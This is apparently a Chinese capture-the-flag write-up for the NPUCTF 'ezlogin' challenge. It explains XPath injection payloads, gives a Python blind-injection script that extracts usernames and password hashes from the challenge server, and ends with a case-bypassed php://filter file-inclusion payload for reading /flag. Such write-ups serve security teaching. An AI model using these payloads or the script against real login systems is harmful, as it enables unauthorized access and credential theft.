NPUCTF ezlogin
ezlogin
考点:xpath注入
xpath注入:https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
这里稍微总结一下,例如有这样一个xml:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
</root>
查询语句为:
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
1.万能密码:admin' or '1
,这样被拼接为:
/root/users/user[username/text()='admin' or '1' and ...
由于xpath中没有注释,所以需要手动闭合单引号
或:admin'] | //* | //*['
,意思是遍历结点
2.盲注:
' or count(/)=1 or '1 | 判断有几个根节点 |
' or string-length(name(/*[1]))=1 or '1 | 获取根节点长度 |
' or substring(name(/*[1]), 1, 1)='a' or '1 | 获取内容 |
例如substring(/root/users/user[1]/password/text(),1,1)
是取admin的第一位密码
首先看一下能否盲注:' or count(/)=1 or '1
' or count(/)=2 or '1
可盲注,然后这里用了一个token,这个token很快就会过期,所以还需要正则匹配一下
import requests
import re
sess = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
for s in strs:
url='http://ha1cyon-ctf.fun:30015/login.php'#注意加login.php
token=re.findall(param,sess.get(url).text)[0]
#第一个根节点为root
#data="<username>' or substring(name(/*[1]), '"+str(i)+"', 1)='"+str(s)+"' or '1</username><password>123</password><token>"+token+"</token>"
#第二个节点为accounts
#data = "<username>' or substring(name(/root/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#第三个节点为user
#data = "<username>' or substring(name(/root/accounts/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#遍历[1][2][3],在user节点下得到id,username,password
#data = "<username>' or substring(name(/root/accounts/user/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#之后取user下的子节点username(user[1]),得到 gtfly123
#取第二个子节点user[2]结果是adm1n
data = "<username>' or substring(/root/accounts/user[2]/password/text(), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
res=sess.post(url=url,headers=headers,data=data)
if '非法操作' in res.text:
t+=s
print(t)
break
最后可以判断格式为:
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>
解密一下adm1n,gtfly123登陆后台,然后是一个文件包含,但返回结果不允许出现flag,并且过滤了php、base字符,可用大小写绕过:
Php://filter/convert.Base64-encode/resource=/flag